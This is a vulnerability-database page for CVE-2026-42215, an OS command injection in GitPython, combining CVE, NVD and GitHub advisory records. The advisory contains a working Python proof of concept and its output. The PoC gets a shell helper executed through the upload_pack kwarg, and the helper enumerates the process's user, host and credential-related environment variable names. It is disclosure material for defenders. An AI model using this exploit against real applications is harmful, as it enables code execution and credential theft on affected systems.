Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-42215 (GCVE-0-2026-42215)
Vulnerability from cvelistv5 – Published: 2026-05-07 18:17 – Updated: 2026-05-09 03:56- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
| URL | Tags |
|---|---|
| https://github.com/gitpython-developers/GitPython… | x_refsource_CONFIRM |
| https://github.com/gitpython-developers/GitPython… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| gitpython-developers | GitPython |
Affected:
>= 3.1.30, < 3.1.47
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42215",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-08T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-09T03:56:00.861Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.1.30, \u003c 3.1.47"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-07T18:17:03.194Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"name": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
}
],
"source": {
"advisory": "GHSA-rpm5-65cw-6hj4",
"discovery": "UNKNOWN"
},
"title": "GitPython: Command injection via Git options bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42215",
"datePublished": "2026-05-07T18:17:03.194Z",
"dateReserved": "2026-04-25T05:04:37.028Z",
"dateUpdated": "2026-05-09T03:56:00.861Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-42215",
"date": "2026-05-31",
"epss": "0.0003",
"percentile": "0.09137"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-42215\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-07T19:16:01.640\",\"lastModified\":\"2026-05-11T17:45:39.707\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-78\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*\",\"versionStartIncluding\":\"3.1.30\",\"versionEndExcluding\":\"3.1.47\",\"matchCriteriaId\":\"701208D3-FB36-4DB9-9553-7325AA3B3B9F\"}]}]}],\"references\":[{\"url\":\"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\",\"Release Notes\"]},{\"url\":\"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-42215\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-08T14:39:17.316943Z\"}}}], \"references\": [{\"url\": \"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-08T14:39:34.148Z\"}}], \"cna\": {\"title\": \"GitPython: Command injection via Git options bypass\", \"source\": {\"advisory\": \"GHSA-rpm5-65cw-6hj4\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"gitpython-developers\", \"product\": \"GitPython\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 3.1.30, \u003c 3.1.47\"}]}], \"references\": [{\"url\": \"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4\", \"name\": \"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47\", \"name\": \"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-78\", \"description\": \"CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-07T18:17:03.194Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-42215\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-09T03:56:00.861Z\", \"dateReserved\": \"2026-04-25T05:04:37.028Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-05-07T18:17:03.194Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-42215
Vulnerability from fkie_nvd - Published: 2026-05-07 19:16 - Updated: 2026-05-11 17:45| Vendor | Product | Version | |
|---|---|---|---|
| gitpython_project | gitpython | * |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*",
"matchCriteriaId": "701208D3-FB36-4DB9-9553-7325AA3B3B9F",
"versionEndExcluding": "3.1.47",
"versionStartIncluding": "3.1.30",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47."
}
],
"id": "CVE-2026-42215",
"lastModified": "2026-05-11T17:45:39.707",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-05-07T19:16:01.640",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch",
"Release Notes"
],
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-78"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-RPM5-65CW-6HJ4
Vulnerability from github – Published: 2026-04-25 23:42 – Updated: 2026-05-08 21:52Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
f.write(f"""#!/bin/sh
{{
echo "code_exec=1"
echo "whoami=$(id)"
echo "cwd=$(pwd)"
echo "uname=$(uname -a)"
printf 'argv='; printf '<%s>' "$@"; echo
env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
with open(os.path.join(producer, "README"), "w") as f:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo = Repo(victim)
remote = repo.remote("origin")
# the literal Git option name is properly blocked.
try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
except UnsafeOptionError:
print("control=blocked")
# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)
# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
-
Expected result:
-
The script prints
control=blocked - The script prints
proof_exists True ... - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including
id, working directory, argv, and selected environment variable names
Example output:
GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Impact
Who is impacted:
- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
- Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )
What the attacker needs to control:
- A value that becomes
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()
From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.30"
},
{
"fixed": "3.1.47"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42215"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:42:16Z",
"nvd_published_at": "2026-05-07T19:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0027re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n f.write(f\"\"\"#!/bin/sh\n{{\n echo \"code_exec=1\"\n echo \"whoami=$(id)\"\n echo \"cwd=$(pwd)\"\n echo \"uname=$(uname -a)\"\n printf \u0027argv=\u0027; printf \u0027\u003c%s\u003e\u0027 \"$@\"; echo\n env | grep -E \u0027^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0027 | sed \u0027s/=.*$/=\u003credacted\u003e/\u0027 || true\n}} \u003e \u0027{proof}\u0027\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n check=True,\n stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n remote.fetch(**{\"upload-pack\": wrapper})\n print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin \u003credacted\u003e Darwin Kernel Version \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.",
"id": "GHSA-rpm5-65cw-6hj4",
"modified": "2026-05-08T21:52:12Z",
"published": "2026-04-25T23:42:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython has Command Injection via Git options bypass"
}
OPENSUSE-SU-2026:10758-1
Vulnerability from csaf_opensuse - Published: 2026-05-12 00:00 - Updated: 2026-05-12 00:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
